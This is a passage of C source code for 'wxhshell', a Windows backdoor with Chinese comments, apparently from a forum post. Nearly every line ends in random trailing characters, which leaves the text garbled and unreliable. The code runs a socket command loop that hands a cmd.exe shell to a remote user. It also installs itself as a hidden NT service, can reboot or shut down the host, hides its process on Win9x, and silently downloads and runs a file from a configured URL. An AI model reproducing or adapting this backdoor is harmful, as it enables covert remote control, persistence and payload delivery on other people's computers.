  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #1hz=~YO  
  } 6XCX#4'i%  
  else { >nW}zkfn  
m~IWazj;A  
    switch(cmd[0]) { !U~#H_  
  j I@$h_n  
  // 帮助 ?RAR  
  case '?': { + d)~;I$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]f @LhC1x  
    break; fB"gM2'  
  } nKJ7K8)  
  // 安装 kITmo"$K  
  case 'i': { ITY!=>S-  
    if(Install()) Hh=::Bi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~W2&z]xD  
    else ?D 9#dGK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ph (k2cb  
    break; b2kbuk]  
    } dC|#l?P  
  // 卸载 #$rT 4N c;  
  case 'r': { $P9$ ,w4  
    if(Uninstall()) `V2j[Fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbv[*R{<%  
    else H D ^~4\%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ={vtfgxl  
    break; 72.IhBNtT  
    } jY6=+9Jz5  
  // 显示 wxhshell 所在路径 8VGXw;(Y,d  
  case 'p': { (mr` ?LI}  
    char svExeFile[MAX_PATH]; @[Qg}'i  
    strcpy(svExeFile,"\n\r"); ;4#8#;  
      strcat(svExeFile,ExeFile); k3h53QTmC  
        send(wsh,svExeFile,strlen(svExeFile),0); &{{f|o=u.  
    break; eZkz 1j~  
    } BQ)43Rr>  
  // 重启 [ +@<T)  
  case 'b': { L k+1r8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \I{A33i2w  
    if(Boot(REBOOT)) aT1 W] i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BFu9KS+@)  
    else { #IA(*oM  
    closesocket(wsh); RWcQT`  
    ExitThread(0); g' U^fN  
    } T>o# *{q n  
    break; uKzz/Y{  
    } 717m.t,x  
  // 关机  ,qqV11P]  
  case 'd': { ? NK} q\$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fT~<C {  
    if(Boot(SHUTDOWN)) )F2tV ]k\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3s-\>  
    else { 6_><W"r:]  
    closesocket(wsh); BV:,b S  
    ExitThread(0); j!n> d  
    } +Z0E?,Oz  
    break; ADUI@#vk  
    } ")buDU6_  
  // 获取shell <4bo7XH  
  case 's': { +34jot.!  
    CmdShell(wsh); )BrqE uX@"  
    closesocket(wsh); Gnq~1p5^  
    ExitThread(0); oob0^}^  
    break; j2n@8sCSO  
  } 0t0:soZ x  
  // 退出 . M $D  
  case 'x': { a{.n(M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?bA]U:  
    CloseIt(wsh); 9}_f\Bs  
    break; DYl{{L8@  
    } )q-!5^ak  
  // 离开 jd'R2e  
  case 'q': { WF0>R^SpZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W5g!`f  
    closesocket(wsh); E #]%e^  
    WSACleanup(); e@VRdhb  
    exit(1); # =3]bg  
    break; U<gw<[>f  
        } ]gk1h=Y~h  
  } =Bx~'RYl1d  
  } !g:UM R  
.r"?w  
  // 提示信息 9>P(eN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [! BH3J!  
} IGQ8-#=  
  } |th )Q  
_xsYcw~)  
  return; vBXr[XoC  
}  e:R[  
UGgi)  
// shell模块句柄 t9{EO#o' k  
int CmdShell(SOCKET sock) C[,-1e?  
{ ?J-KB3Uv3  
STARTUPINFO si; (#`o >G(  
ZeroMemory(&si,sizeof(si)); = 0Sa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~`.%n7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |XZf:}q5:  
PROCESS_INFORMATION ProcessInfo; [%Xfl7;Wh  
char cmdline[]="cmd"; 9$i`B>C~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ; & +75n  
  return 0; ?^p8]Va%  
} Dh<e9s:  
T]`" Xl8  
// 自身启动模式 SO"P3X  
int StartFromService(void) 1)ne-e  
{ #Xly5J  
typedef struct iDJ2dM}v  
{ sJ=B:3jS0  
  DWORD ExitStatus; {D< ?.'  
  DWORD PebBaseAddress; wl9icrR>  
  DWORD AffinityMask; " Xc=<rX  
  DWORD BasePriority; Bw[VK7  
  ULONG UniqueProcessId; @RW%EXKt  
  ULONG InheritedFromUniqueProcessId; 5<poN)"  
}   PROCESS_BASIC_INFORMATION; hI 0l2OE  
!}?]&[N=  
PROCNTQSIP NtQueryInformationProcess; zZ-*/THB@R  
n9DFa3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tr)[q>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RqR  X  
{wySH[V  
  HANDLE             hProcess; f 5Oh#  
  PROCESS_BASIC_INFORMATION pbi; ,88}5)b[  
6W Zp&pO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <D}k@M Z  
  if(NULL == hInst ) return 0; ww,'n{_  
Ns(F%zkm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @}:(t{>;e7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fJKOuFK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .rHO7c,P~  
S0cO00_ob  
  if (!NtQueryInformationProcess) return 0; hrK^oa_[W  
J%'|IwA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t[Q\T0E  
  if(!hProcess) return 0; AsOI`@FV  
~7g6o^A>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sr IynO  
SbY i|V,H  
  CloseHandle(hProcess); ;7}*Xr|  
Q>$v~v?9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b._pG(o1  
if(hProcess==NULL) return 0; }J1#UH_E  
Tec6]  :  
HMODULE hMod; ?fG Y,<c  
char procName[255]; c9V'Zd#  
unsigned long cbNeeded; {1[8,Ho  
%O k.XBS)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ND*5pRzvp  
%0QYkHdFR`  
  CloseHandle(hProcess); IV76#jL  
#%~wuCn<K  
if(strstr(procName,"services")) return 1; // 以服务启动 u}$3.]-.?T  
+FI]0r  
  return 0; // 注册表启动 $v,_8{ !  
} xp = ]J UQ  
K9c:K/H  
// 主模块 Jh1fM`kB5K  
int StartWxhshell(LPSTR lpCmdLine) PYGHN T  
{ MeC@+@C  
  SOCKET wsl; ~7|z2L  
BOOL val=TRUE; ^<c?Ire  
  int port=0; K2JS2Y]  
  struct sockaddr_in door; <#sK~G  
x\WKsc  
  if(wscfg.ws_autoins) Install(); ``{xm1GK  
"Z <1Msz  
port=atoi(lpCmdLine); S"*wP[d.9  
zKo,B/Ke4  
if(port<=0) port=wscfg.ws_port; 6Y=)12T  
i{.!1i:  
  WSADATA data; [||$1u\%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K7|BXGL8r8  
6;Bqu5_Cj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %5b2vrg~*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5K0Isuu>>  
  door.sin_family = AF_INET; _ . _'\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U:H*b{`TU  
  door.sin_port = htons(port); 1jR<H$aS  
~O!v?2it8q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0[^f9NZ>-  
closesocket(wsl); YC{od5a  
return 1; ] '..G-  
} 2]|+.9B  
sNWj+T  
  if(listen(wsl,2) == INVALID_SOCKET) { /}Max@.`  
closesocket(wsl); k# /_Zd  
return 1; $4m{g"xL  
} z?7pn}-  
  Wxhshell(wsl); Lq:Z='Kc  
  WSACleanup(); ]`%cTdpLj  
c8h 9  
return 0; /)N[tv2  
}0:=)e  
} IsI\T8yfc  
xGjEEBL  
// 以NT服务方式启动 [dL#0~CL$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gmc0yRN  
{ /J^yOR9  
DWORD   status = 0; O3S_P]{*ny  
  DWORD   specificError = 0xfffffff; mU;TB%#)  
8d-_'MXk3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &@y W< <  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BQsy)H`4E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :2La,  
  serviceStatus.dwWin32ExitCode     = 0; I_Q'+d  
  serviceStatus.dwServiceSpecificExitCode = 0; Jf 2  
  serviceStatus.dwCheckPoint       = 0; 6 LC*X  
  serviceStatus.dwWaitHint       = 0; F[LBQI`zq  
RX '( l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HA| YLj?|g  
  if (hServiceStatusHandle==0) return; M*nfWQ a  
Zx@{nVoYe~  
status = GetLastError(); EI'(  
  if (status!=NO_ERROR) N/(&&\3  
{ 2|+**BxHD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e(cctC|l  
    serviceStatus.dwCheckPoint       = 0; n(&6 E3ZcI  
    serviceStatus.dwWaitHint       = 0; ;sDFTKf  
    serviceStatus.dwWin32ExitCode     = status; Pl U!-7  
    serviceStatus.dwServiceSpecificExitCode = specificError; {A{=RPL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P'[w9'B  
    return; u>}k+8~  
  } ^8DC W`V  
qjuX1 6o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H'GyWG|Wx  
  serviceStatus.dwCheckPoint       = 0; {/N4/gu  
  serviceStatus.dwWaitHint       = 0; tT'+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aB.`'d)V  
} 7cH[}v`pn  
fDf:Jec`[  
// 处理NT服务事件,比如:启动、停止 ~u3E+w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ao2t=vg  
{ .Um.dXBYU  
switch(fdwControl) @wb V@  
{ 88G Q  F  
case SERVICE_CONTROL_STOP: +v/_R{ M  
  serviceStatus.dwWin32ExitCode = 0; 9 u{#S}c`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~!\n  
  serviceStatus.dwCheckPoint   = 0; U]O7RH  
  serviceStatus.dwWaitHint     = 0; ?Yxk1Y4ig)  
  { .M!HVq47m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bmFnsqo  
  } >J+hu;I5  
  return; )=#QTiJ  
case SERVICE_CONTROL_PAUSE: ?J|~ G{yH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zGF_ c9X  
  break; %R(1^lFI$  
case SERVICE_CONTROL_CONTINUE: 0@vSl%I+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r!'\$(m E  
  break; Q u{#4qToA  
case SERVICE_CONTROL_INTERROGATE: 1t6VS 3  
  break; 5\lOZYHX  
}; F.zn:yX5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1]G<N3  
} (=,p"3^  
l-g+E{ZM  
// 标准应用程序主函数 I8rtta  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C[gy{40}  
{ CNQ>J`4  
yc?+L ;fN  
// 获取操作系统版本 B/7c`V  
OsIsNt=GetOsVer(); P >HEV a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); va[@XGaC3  
`L/\F,  
  // 从命令行安装 NLf6}  
  if(strpbrk(lpCmdLine,"iI")) Install(); LNPwb1)  
u?r=;:N|y  
  // 下载执行文件 *H8(G%a!^  
if(wscfg.ws_downexe) { G$ ( B26  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ou>L|#=!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0P_qtS  
} g4^=Q'j-  
4*&_h g)h  
if(!OsIsNt) { g)nsP  
// 如果时win9x,隐藏进程并且设置为注册表启动 FMh SHa/B  
HideProc(); RX3P %xZ  
StartWxhshell(lpCmdLine); : A9G>qg  
} gP:mZ7  
else kdcr*7w  
  if(StartFromService()) ]lV\D8#  
  // 以服务方式启动 PRa #; Wb  
  StartServiceCtrlDispatcher(DispatchTable); B@U;[cO&  
else >,wm-4&E  
  // 普通方式启动 nO.RB#I$F  
  StartWxhshell(lpCmdLine); d2Pqi* K  
( E;!.=%  
return 0; ~H`~&?  
}
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只看该作者 1 发表于: 2006-10-10
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